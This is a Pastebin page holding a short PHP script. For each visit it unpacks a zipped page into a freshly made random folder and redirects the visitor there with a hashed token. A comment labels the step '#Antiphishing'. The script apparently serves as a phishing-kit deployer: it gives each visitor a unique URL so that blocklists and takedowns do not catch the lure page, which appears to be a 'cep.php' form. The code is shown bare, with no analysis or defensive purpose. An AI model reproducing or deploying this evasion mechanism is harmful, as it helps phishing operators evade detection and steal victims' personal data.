Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_GET['i'])){
- $aleatorio = rand(10000000000, 100000000000);
- $unique = sha1(md5($aleatorio));
- $b1 = 0;
- $b2 = 0;
- if ($b1 != 1 && $b2 != 1){
- #Antiphishing
- mkdir('i/post-' . $aleatorio . '/', 0700);
- $nomepasta = 'i/post-' . $aleatorio . '/';
- $zip = new ZipArchive;
- if ($zip->open('i/xyz.zip') === true) {
- $zip->extractTo($nomepasta);
- $zip->close();
- } else {
- echo 'failed';
- }
- $url = $nomepasta . 'cep.php?=' . $unique;
- echo '<meta http-equiv="refresh" content=0;url="' . $url . '">';
- };
- } else {
- echo '<meta http-equiv="refresh" content="30">';
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement